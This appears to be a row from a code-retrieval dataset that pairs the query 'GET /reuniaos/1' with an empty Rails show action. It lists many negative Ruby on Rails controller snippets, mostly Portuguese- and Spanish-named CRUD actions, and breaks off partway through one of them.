query
stringlengths 7
9.55k
| document
stringlengths 10
363k
| metadata
dict | negatives
sequencelengths 0
101
| negative_scores
sequencelengths 0
101
| document_score
stringlengths 3
10
| document_rank
stringclasses 102
values |
---|---|---|---|---|---|---|
GET /reuniaos/1 GET /reuniaos/1.json | def show
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def getOrden \n \t@orden = Orden.where(:rest => params[:id_res])\n \trender json: @orden\n end",
"def show\n @uchronia = Uchronia.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @uchronia }\n end\n end",
"def index\n @ores = Ore.all\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @ores }\n end\n end",
"def show\n @remito = Remito.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @remito }\n end\n end",
"def index\n @ruas = Rua.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @ruas }\n end\n end",
"def show\n @rua = Rua.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @rua }\n end\n end",
"def index\n @uchronias = Uchronia.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @uchronias }\n end\n end",
"def show\n @relogio = Relogio.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @relogio }\n end\n end",
"def index\n @repas = Repa.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @repas }\n end\n end",
"def index\n \treclamos = Reclamo.all\n \trender json: reclamos.to_json(include: [:tipo_reclamo, :ubicacion, :user], methods: [:valoracion])\n end",
"def listar()\n @client.get(Route.new([ROTA_DID]))\n end",
"def show\n @osoba = Osoba.find(params[:id])\n\n render json: @osoba\n end",
"def index\n @restoras = Restora.all\n end",
"def index\n @interno_unidads = InternoUnidad.all\n render json: @interno_unidads\n end",
"def show\n @agronomiaquimica = Agronomiaquimica.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @agronomiaquimica }\n end\n end",
"def show\n @repa = Repa.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @repa }\n end\n end",
"def show\n @repa = Repa.find(params[:id])\n \n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @repa }\n end\n end",
"def show\n @respuesta = Respuesta.find(params[:id])\n\n render json: @respuesta\n end",
"def show\n @recoleccion = Recoleccion.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @recoleccion }\n end\n end",
"def index\n @ordenes = Orden.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @ordenes }\n end\n end",
"def show\n @uchronist = Uchronist.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @uchronist }\n end\n end",
"def show\n @reconocimiento = Reconocimiento.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @reconocimiento }\n end\n end",
"def index\n seleccionarMenu(:rondas)\n @rondas = Ronda.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @rondas }\n end\n end",
"def show\n @premio = Premio.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @premio }\n end\n end",
"def index\n @frais_repas = FraisRepa.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @frais_repas }\n end\n end",
"def show\n @odontologia1 = Odontologia1.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @odontologia1 }\n end\n end",
"def show\n @repuesto = Repuesto.find(params[:id])\n respond_to do |format|\n format.html { render :show }\n format.json { render json: @repuesto.to_json }\n end\n end",
"def show\n @historial = Historial.find(params[:id])\n @receta = Recete.histori(@historial.id)\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @historial }\n end\n end",
"def show\n seleccionarMenu(:rondas)\n @ronda = Ronda.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @ronda }\n end\n end",
"def index\n @ordens = Orden.all\n render json: @ordens\n end",
"def show\n @orgao = Orgao.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @orgao }\n end\n end",
"def index\n @preparatoria_o_universidad_de_origens = PreparatoriaOUniversidadDeOrigen.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @preparatoria_o_universidad_de_origens }\n end\n end",
"def show\n @receipe = Receipe.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @receipe }\n end\n end",
"def index\n @universes = Universe.all.page(params[:page]).per(25)\n respond_to do |format|\n format.html\n format.json { render json: @universes }\n end\n end",
"def show\n @cuerpo = Cuerpo.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @cuerpo }\n end\n end",
"def show\n @ativo_outro = AtivoOutro.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @ativo_outro }\n end\n end",
"def index\n @tipo_denuncia = TipoDenuncium.all\n\n render json: @tipo_denuncia\n end",
"def show\n @orador = Orador.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @orador }\n end\n end",
"def show\n @leito = Leito.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @leito }\n end\n end",
"def index\n @premios = Premio.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @premios }\n end\n end",
"def show\n @respuesta = Respuesta.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @respuesta }\n end\n end",
"def index\n @notadedebito = Notadedebito.find(params[:notadecredito_id])\n @renglon_notadebitos = @notadedebito.renglon_notadebitos\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @renglon_notadebitos }\n end\n end",
"def show\n @recurso = Recurso.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @recurso }\n end\n end",
"def show\n @reltramovano = Reltramovano.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @reltramovano }\n end\n end",
"def show\n @konyu_rireki = KonyuRireki.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @konyu_rireki }\n end\n end",
"def index\n @uchronists = Uchronist.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @uchronists }\n end\n end",
"def index\n @regos = Rego.all\n end",
"def show\n @minicurso = Minicurso.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @minicurso }\n end\n end",
"def show\n @eou = Eou.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @eou }\n end\n end",
"def index\n @regrapontos = Regraponto.all\n end",
"def show\n @lore = Lore.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @lore }\n end\n end",
"def show\n @pessoa_receber = PessoaReceber.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @pessoa_receber }\n end\n end",
"def show\n @roof = Roof.find(params[:roof_id])\n @status = @roof.statuses.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @status }\n end\n end",
"def show\n @frais_repa = FraisRepa.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @frais_repa }\n end\n end",
"def show\r\n @imobiliaria = Imobiliaria.find(params[:id])\r\n\r\n respond_to do |format|\r\n format.json { render json: @imobiliaria }\r\n end\r\n end",
"def new\n @uf = Uf.first\n @municipios = @uf.municipios\n @cargo_eleicao = Eleicao.find(:first, :conditions => \"status = true\").cargo_eleicaos\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @cargo_eleicao }\n end\n end",
"def show\n @realiza = Realiza.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @realiza }\n end\n end",
"def index\n @foros = Foro.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @foros }\n end\n end",
"def index\n @ofertas = Oferta.where(:status_id => Status.find_by_descricao('Ativo'))\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @ofertas }\n end\n end",
"def index\n @ruolos = Ruolo.all\n end",
"def show\n @articulo = Articulo.find(params[:id])\n @noticias = Articulo.where(\"tipo = 'noticia'\").order(\"created_at desc\")\n @title = @articulo.titulo\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @articulo }\n end\n end",
"def show\n @u_ser = USer.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @u_ser }\n end\n end",
"def show\n @nominee = Nominee.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @nominee }\n end\n end",
"def show\n @requerimiento ||= Requerimiento.where(:numero => params[:id]).first\n @areas = Area.where(\" nombre like '%DIT%' \")\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @requerimiento }\n end\n end",
"def show\n @repuestum = Repuestum.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @repuestum }\n end\n end",
"def show\n @inscrito = Inscrito.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @inscrito }\n end\n end",
"def show\n @reel = Reel.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @reel }\n end\n end",
"def show\n @soiree = Soiree.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @soiree }\n end\n end",
"def show\n \trespond_with @rubro\n end",
"def index\n @minicursos = Minicurso.all\n\t\t#@minicursos = Minicurso.scoped\n\t\t#@users = Minicurso.inscritos(params[:id]) if params[:id].present?\n\n respond_to do |format|\n\t\t\t format.html # index.html.erb\n\t\t\t format.json { render json: @minicursos }\n end\n end",
"def index\n @urnas = Urna.all\n end",
"def index\n @urnas = Urna.all\n end",
"def show\n @torneo = Torneo.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @torneo }\n end\n end",
"def index\n \n if current_user.tipo == 2\n @receita_medicas = ReceitaMedica.where(:medico_id => current_user.id)\n elsif current_user.tipo == 1\n @receita_medicas = ReceitaMedica.where(:paciente_id => current_user.id)\n elsif current_user.tipo == 3\n @receita_medicas = Venda.receitas_medicas(current_user.id)\n end\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @receita_medicas }\n end\n end",
"def huertopublico\n @huerto = Huerto.find_by_agrupacion(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @huerto }\n end\n end",
"def show\n @rum = Rum.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @rum }\n end\n end",
"def show\n @autore = Autore.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @autore }\n end\n end",
"def index\n @remuneracoes = Remuneracao.all\n end",
"def show\n @torso = Torso.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @torso }\n end\n end",
"def get_todo_restaurants\n @profile = Profile.find(params[:id])\n @restaurants = @profile.todos\n\n render status: 200, json: @restaurants\n end",
"def show\n @preparatoria_o_universidad_de_origen = PreparatoriaOUniversidadDeOrigen.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @preparatoria_o_universidad_de_origen }\n end\n end",
"def show\n @noto = Noto.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @noto }\n end\n end",
"def index\n @anuncios = Anuncio.all\n render json: @anuncios, status: :ok\n end",
"def index\n @relatorios = Relatorio.all.page(params[:page]).per(15)\n end",
"def index\n @ativo_outros = AtivoOutro.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @ativo_outros }\n end\n end",
"def index\n @tenures = Tenure.all.order(\"updated_at DESC\").order(\"created_at DESC\")\n\n render json: @tenures\n end",
"def show\n render json: @lugar\n end",
"def show\n @rechnung = Rechnung.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @rechnung }\n end\n end",
"def show\n @lieu = Lieu.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @lieu }\n end\n end",
"def index\n @ginasios = Ginasio.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @ginasios }\n end\n end",
"def index\n @tutorados = Tutorado.all\n\n render json: @tutorados, status: :ok\n end",
"def show\n @unp = Unp.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @unp }\n end\n end",
"def show\n @anuncio = Anuncio.find(params[:id])\n\n respond_to do |format|\n format.html\n format.json { render json: @anuncio }\n end\n end",
"def show\n @trnodo = Trnodo.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @trnodo }\n end\n end",
"def show\n @retroalimentacion = Retroalimentacion.find(params[:id])\n @current_cliente=obtener_cliente(current_user)\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @retroalimentacion }\n end\n end",
"def consulta\n fiesta = Fiesta.all\n render json: fiesta\n end",
"def show\n @razmer_go = RazmerGo.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @razmer_go }\n end\n end",
"def show\n @reparacion = Reparacion.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @reparacion }\n end\n end",
"def index\n @rozmiars = Rozmiar.all\n end",
"def show\n @situacion_revistum = SituacionRevistum.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @situacion_revistum }\n end\n end",
"def index\n @usuarios = Usuario.por_colegio(colegio.id).order(\"nombre\")\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @usuarios }\n end\n end"
] | [
"0.6835554",
"0.66239315",
"0.660497",
"0.6590874",
"0.65755045",
"0.6559959",
"0.6542012",
"0.6522165",
"0.6476013",
"0.6416402",
"0.6398064",
"0.6359223",
"0.62901163",
"0.62607354",
"0.62429893",
"0.62006867",
"0.6189394",
"0.6177802",
"0.6170365",
"0.6169526",
"0.61685765",
"0.6166339",
"0.615411",
"0.61364186",
"0.61277753",
"0.6117545",
"0.6106676",
"0.610641",
"0.60731614",
"0.60500455",
"0.6049223",
"0.6046115",
"0.6046087",
"0.603196",
"0.60300887",
"0.59985715",
"0.5995428",
"0.599222",
"0.5985976",
"0.59856397",
"0.5984991",
"0.5980904",
"0.5979776",
"0.59789866",
"0.597545",
"0.5967908",
"0.59582657",
"0.59369284",
"0.5933615",
"0.59329325",
"0.59322506",
"0.59284395",
"0.59227127",
"0.59222054",
"0.59221745",
"0.5914082",
"0.59129107",
"0.59125394",
"0.59117013",
"0.5909909",
"0.5906964",
"0.5905167",
"0.590402",
"0.5902266",
"0.58964854",
"0.5895548",
"0.5892472",
"0.5889568",
"0.5885636",
"0.5885017",
"0.588261",
"0.588261",
"0.587806",
"0.5876208",
"0.5873304",
"0.5869991",
"0.58689845",
"0.58667135",
"0.5865656",
"0.5862367",
"0.5862177",
"0.5861821",
"0.5858581",
"0.5857035",
"0.5852251",
"0.5850521",
"0.58492655",
"0.5844481",
"0.58423007",
"0.58422226",
"0.5835176",
"0.5833305",
"0.5825065",
"0.58219117",
"0.5818975",
"0.58181924",
"0.5816761",
"0.58165854",
"0.5806878",
"0.5806743",
"0.580553"
] | 0.0 | -1 |
POST /reuniaos POST /reuniaos.json | def create
@reuniao = Reuniao.new(reuniao_params)
@pautum=Pautum.new
@reuniao.pautum =@pautum
@reuniao.atum=Atum.new
@reuniao.status="Preparação"
@pautum.status="Preparação"
respond_to do |format|
if @reuniao.save
@pautum.titulo=@reuniao.titulo
@pautum.save
format.html { redirect_to @reuniao, notice: 'Reuniao was successfully created.' }
format.json { render :show, status: :created, location: @reuniao }
else
format.html { render :new }
format.json { render json: @reuniao.errors, status: :unprocessable_entity }
end
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def reuniao_params\n params.require(:reuniao).permit(:titulo, :data, :horaInicio, :horaFim, :status, :local_id, :pautum_id, :atum_id, :category_id)\n end",
"def create\n @osoba = Osoba.new(params[:osoba])\n\n if @osoba.save\n render json: @osoba, status: :created, location: @osoba\n else\n render json: @osoba.errors, status: :unprocessable_entity\n end\n end",
"def troca\n @remetente = Sobrevivente.where(id: params[:de]).first\n @destinatario = Sobrevivente.where(id: params[:para]).first\n\n enviar = {agua: 1, comida: 2, medicamento: 3, municao: 4}\n receber = {agua: 0, comida: 2, medicamento: 3, municao: 8}\n\n trocou = @remetente.troca(@destinatario, enviar, receber)\n\n render json: { status: trocou }\n end",
"def create\n @respuesta = Respuesta.new(params[:respuesta])\n\n if @respuesta.save\n render json: @respuesta, status: :created, location: @respuesta\n else\n render json: @respuesta.errors, status: :unprocessable_entity\n end\n end",
"def create\n @rua = Rua.new(params[:rua])\n\n respond_to do |format|\n if @rua.save\n format.html { redirect_to @rua, notice: 'Rua was successfully created.' }\n format.json { render json: @rua, status: :created, location: @rua }\n else\n format.html { render action: \"new\" }\n format.json { render json: @rua.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @ruolo = Ruolo.new(ruolo_params)\n\n respond_to do |format|\n if @ruolo.save\n format.html { redirect_to @ruolo, notice: 'Ruolo was successfully created.' }\n format.json { render :show, status: :created, location: @ruolo }\n else\n format.html { render :new }\n format.json { render json: @ruolo.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @oeuvre = Oeuvre.new(oeuvre_params)\n\n respond_to do |format|\n if @oeuvre.save\n format.html { redirect_to oeuvres_url, notice: 'Oeuvre was successfully created.' }\n format.json { render :show, status: :created, location: @oeuvre }\n else\n format.html { render :new }\n format.json { render json: @oeuvre.errors, status: :unprocessable_entity }\n end\n end\n end",
"def post_spoonacular\n # %encode ingredients to url\n encoded_ingr = URI.escape(@translated_recipe[:ingredients_list])\n # post call block :\n url = URI(\"https://spoonacular-recipe-food-nutrition-v1.p.rapidapi.com/recipes/parseIngredients?includeNutrition=true\")\n http = Net::HTTP.new(url.host, url.port)\n http.use_ssl = true\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n request = Net::HTTP::Post.new(url)\n request[\"content-type\"] = \"application/x-www-form-urlencoded\"\n request[\"x-rapidapi-key\"] = ENV[\"X_RAPIDAPI_KEY\"]\n request[\"x-rapidapi-host\"] = \"spoonacular-recipe-food-nutrition-v1.p.rapidapi.com\"\n # body of the call with ingredients and servings\n request.body = \"ingredientList=#{encoded_ingr}&#{@recipe_hash[:servings]}\"\n # response\n response = http.request(request)\n end",
"def create\n @remuneracao = Remuneracao.new(remuneracao_params)\n\n respond_to do |format|\n if @remuneracao.save\n format.html { redirect_to @remuneracao, notice: 'Remuneracao was successfully created.' }\n format.json { render :show, status: :created, location: @remuneracao }\n else\n format.html { render :new }\n format.json { render json: @remuneracao.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @resto = Resto.new(resto_params)\n\n respond_to do |format|\n if @resto.save\n format.html { redirect_to @resto, notice: 'Entry was successfully created.' }\n format.json { render :show, status: :created, location: @resto }\n else\n format.html { render :new }\n format.json { render json: @resto.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n seleccionarMenu(:rondas)\n @ronda = current_usuario.rondas.build(params[:ronda])\n\n respond_to do |format|\n if @ronda.save\n format.html { redirect_to @ronda, notice: 'Ronda creada satisfactoriamente.' }\n format.json { render json: @ronda, status: :created, location: @ronda }\n else\n format.html { render action: \"new\" }\n format.json { render json: @ronda.errors, status: :unprocessable_entity }\n end\n end\n end",
"def crear\n # byebug\n ruta = Ruta.new\n ruta.nombre = params[:ruta][:nombre]\n ruta.descripcion = params[:ruta][:descripcion]\n ruta.subruta = params[:ruta][:subruta]\n ruta.save\n redirect_to action: \"index\"\n\n # respond_to do |format|\n # if @ruta.save\n # format.html { redirect_to @ruta, notice: \"Rutum was successfully created.\" }\n # format.json { render :show, status: :created, location: @ruta }\n # else\n # format.html { render :new }\n # format.json { render json: @ruta.errors, status: :unprocessable_entity }\n # end\n # end\n end",
"def create\n @remito = Remito.new(params[:remito])\n\n respond_to do |format|\n if @remito.save\n format.html { redirect_to @remito, notice: 'Remito was successfully created.' }\n format.json { render json: @remito, status: :created, location: @remito }\n else\n format.html { render action: \"new\" }\n format.json { render json: @remito.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @rego = Rego.new(rego_params)\n\n respond_to do |format|\n if @rego.save\n format.html { redirect_to @rego, notice: 'Rego was successfully created.' }\n format.json { render :show, status: :created, location: @rego }\n else\n format.html { render :new }\n format.json { render json: @rego.errors, status: :unprocessable_entity }\n end\n end\n end",
"def residuo_params\n params.require(:residuo).permit(:nombre, :descripcion, :imagen, :tratamiento)\n end",
"def create\n @tipoapreensao = Tipoapreensao.new(tipoapreensao_params)\n\n respond_to do |format|\n if @tipoapreensao.save\n format.html { redirect_to @tipoapreensao, notice: 'Tipoapreensao was successfully created.' }\n format.json { render action: 'show', status: :created, location: @tipoapreensao }\n else\n format.html { render action: 'new' }\n format.json { render json: @tipoapreensao.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @relogio = Relogio.new(params[:relogio])\n\n respond_to do |format|\n if @relogio.save\n format.html { redirect_to @relogio, notice: 'Relogio was successfully created.' }\n format.json { render json: @relogio, status: :created, location: @relogio }\n else\n format.html { render action: \"new\" }\n format.json { render json: @relogio.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @regraponto = Regraponto.new(regraponto_params)\n\n respond_to do |format|\n if @regraponto.save\n format.html { redirect_to @regraponto, notice: 'Regraponto was successfully created.' }\n format.json { render :show, status: :created, location: @regraponto }\n else\n format.html { render :new }\n format.json { render json: @regraponto.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @uchronia = Uchronia.new(params[:uchronia])\n\n respond_to do |format|\n if @uchronia.save\n format.html { redirect_to @uchronia, notice: 'Uchronia was successfully created.' }\n format.json { render json: @uchronia, status: :created, location: @uchronia }\n else\n format.html { render action: \"new\" }\n format.json { render json: @uchronia.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n\n puts request.body.string\n\n if request.body.string.include? %q[\"id\"]\n render json: %q[{\"error\": \"No se puede crear usuario con id\"}], status: 400\n else\n @usuario = Usuario.new(usuario_params)\n #Tuve que hacerlo asi, pq por alguna razon no me dejaba de la forma tradicional!\n #@usuario = Usuario.new\n #@usuario.usuario = params[:usuario]\n #@usuario.nombre = params[:nombre]\n #@usuario.apellido = params[:apellido]\n #@usuario.twitter = params[:twitter]\n\n\n respond_to do |format|\n if @usuario.save\n #format.html { redirect_to @usuario, notice: 'Usuario was successfully created.' }\n format.json { render :show, status: :created, location: @usuario }\n else\n #format.html { render :new }\n format.json { render json: @usuario.errors, status: 404}# status: :unprocessable_entity }\n end\n end\n end\n end",
"def create\n @premio = Premio.new(params[:premio])\n\n respond_to do |format|\n if @premio.save\n format.html { redirect_to @premio, :notice => 'Premio was successfully created.' }\n format.json { render :json => @premio, :status => :created, :location => @premio }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @premio.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @relatorio = Relatorio.new(relatorio_params)\n\n respond_to do |format|\n if @relatorio.save\n format.html { redirect_to @relatorio, notice: 'Relatorio was successfully created.' }\n format.json { render :show, status: :created, location: @relatorio }\n else\n format.html { render :new }\n format.json { render json: @relatorio.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @nitrou = Nitrou.new(nitrou_params)\n\n respond_to do |format|\n if @nitrou.save\n format.html { redirect_to @nitrou, notice: 'Nitrou was successfully created.' }\n format.json { render :show, status: :created, location: @nitrou }\n else\n format.html { render :new }\n format.json { render json: @nitrou.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @tipo_pregunta = TipoPregunta.new(params[:tipo_pregunta])\n\n if @tipo_pregunta.save\n render json: @tipo_pregunta, status: :created, location: @tipo_pregunta\n else\n render json: @tipo_pregunta.errors, status: :unprocessable_entity\n end\n end",
"def create\n @repa = Repa.new(params[:repa])\n\n respond_to do |format|\n if @repa.save\n format.html { redirect_to repas_url, notice: 'Repa was successfully created.' }\n format.json { render json: @repa, status: :created, location: @repa }\n else\n format.html { render action: \"new\" }\n format.json { render json: @repa.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @restricao = Restricao.new(restricao_params)\n\n respond_to do |format|\n if @restricao.save\n format.html { redirect_to restricaos_path, notice: 'Restrição foi Criada com Sucesso!' }\n # format.json { render :show, status: :created, location: @restricao }\n else\n format.html { render :new }\n format.json { render json: @restricao.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n #return render json: params[:recursos]\n @area = Area.new(area_params)\n @count = 0\n save_multiples_recursos if params[:recursos][:status] == '1'\n respond_to do |format|\n if @area.save\n format.html { redirect_to areas_path, notice: 'El Área fue creada éxitosamente.' }\n format.json { render :show, status: :created, location: @area }\n else\n format.html { render :new }\n format.json { render json: @area.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @reparticao = Reparticao.new(reparticao_params)\n\n respond_to do |format|\n if @reparticao.save\n format.html { redirect_to @reparticao, notice: 'Reparticao was successfully created.' }\n format.json { render :show, status: :created, location: @reparticao }\n else\n format.html { render :new }\n format.json { render json: @reparticao.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @post = Post.create(post_params)\n puts \"LLLLLOOOOOOOLLLLLL\"\n puts current_usuario.to_json\n @post = current_usuario.posts.create(post_params)\n \n @post.sangre = current_usuario.tipoDeSangre\n\n\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to @post, notice: 'Post was successfully created.' }\n format.json { render :show, status: :created, location: @post }\n else\n format.html { render :new }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @rozmiar = Rozmiar.new(rozmiar_params)\n\n respond_to do |format|\n if @rozmiar.save\n format.html { redirect_to @rozmiar, notice: 'Rozmiar was successfully created.' }\n format.json { render :show, status: :created, location: @rozmiar }\n else\n format.html { render :new }\n format.json { render json: @rozmiar.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @repuesto = Repuesto.new(repuesto_params)\n\n respond_to do |format|\n if @repuesto.save\n format.html { redirect_to @repuesto, notice: 'Repuesto was successfully created.' }\n format.json { render :show, status: :created, location: @repuesto }\n else\n format.html { render :new }\n format.json { render json: @repuesto.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @premio = Premio.new(params[:premio])\n\n respond_to do |format|\n if @premio.save\n format.html { redirect_to @premio, notice: 'Premio was successfully created.' }\n format.json { render json: @premio, status: :created, location: @premio }\n else\n format.html { render action: \"new\" }\n format.json { render json: @premio.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @restora = Restora.new(restora_params)\n\n respond_to do |format|\n if @restora.save\n format.html { redirect_to @restora, notice: 'Restora was successfully created.' }\n format.json { render :show, status: :created, location: @restora }\n else\n format.html { render :new }\n format.json { render json: @restora.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @objeto = Revista.new(revista_params)\n\n respond_to do |format|\n if @objeto.save\n format.html { redirect_to @objeto, notice: 'Revista was successfully created.' }\n format.json { render :show, status: :created, location: @objeto }\n else\n format.html { render :new }\n format.json { render json: @objeto.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @reconocimiento = Reconocimiento.new(params[:reconocimiento])\n\n respond_to do |format|\n if @reconocimiento.save\n format.html { redirect_to @reconocimiento, :notice => 'Reconocimiento was successfully created.' }\n format.json { render :json => @reconocimiento, :status => :created, :location => @reconocimiento }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @reconocimiento.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def criar_sobrevivente\n @suvivor = Sobrevivente.create(\n name: params[:name], genero: params[:genero], idade: params[:idade],\n lat: params[:lat], lon: params[:lon],\n agua: params[:agua], comida: params[:comida], medicamento: params[:medicamento],\n municao: params[:municao]\n )\n render json: @suvivor\n end",
"def create\n @frais_repa = FraisRepa.new(params[:frais_repa])\n\n respond_to do |format|\n if @frais_repa.save\n format.html { redirect_to @frais_repa, :notice => 'Le frais de repas a bien été créé' }\n format.json { render :json => @frais_repa, :status => :created, :location => @frais_repa }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @frais_repa.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @roupa = Roupa.new(roupa_params)\n\n respond_to do |format|\n if @roupa.save\n format.html { redirect_to @roupa, notice: \"Roupa was successfully created.\" }\n format.json { render :show, status: :created, location: @roupa }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @roupa.errors, status: :unprocessable_entity }\n end\n end\n end",
"def recibir\n #obtener la orden de compra con el id que nos envía el otro grupo.\n id = params[:id]\n id_store_reception = JSON.parse(request.body.read.to_s)\n id_store_reception = id_store_reception[\"id_store_reception\"]\n @result = HTTParty.get(OC_URI + 'obtener/' + id, :query => {}, :header => OPT)\n puts @result\n #Reviso si el id ingresado es valido para que oc no tire error\n if !@result[0]['created_at'].nil? then\n oc = @result[0]\n cliente = oc[\"cliente\"]\n cliente = IDS[cliente].to_s\n #una vez recibida la orden de compra hay que ver si la aceptamos o no\n #de momento no me preocuparía de ver si podemos comprar otras materias primas para producir y cumplir ordenes de comora\n if accept_general?(oc)\n accept(id, cliente)#esto le avisa a la api del profe y al otro grupo que aceptamos la oc\n @purchase_order = PurchaseOrder.new(oc) #si aceptamos la OC la guardamos en nuestro modelo.\n @purchase_order.save\n fact = createInvoice(oc[\"_id\"])\n #se le manda al grupo comprador la factura que acabamos de crear y nuestra cuenta de banco\n HTTParty.put(GURI + cliente + \".ing.puc.cl/invoices/\" + fact[0][\"_id\"], headers: GOPT, body:{\"bank_account\" => 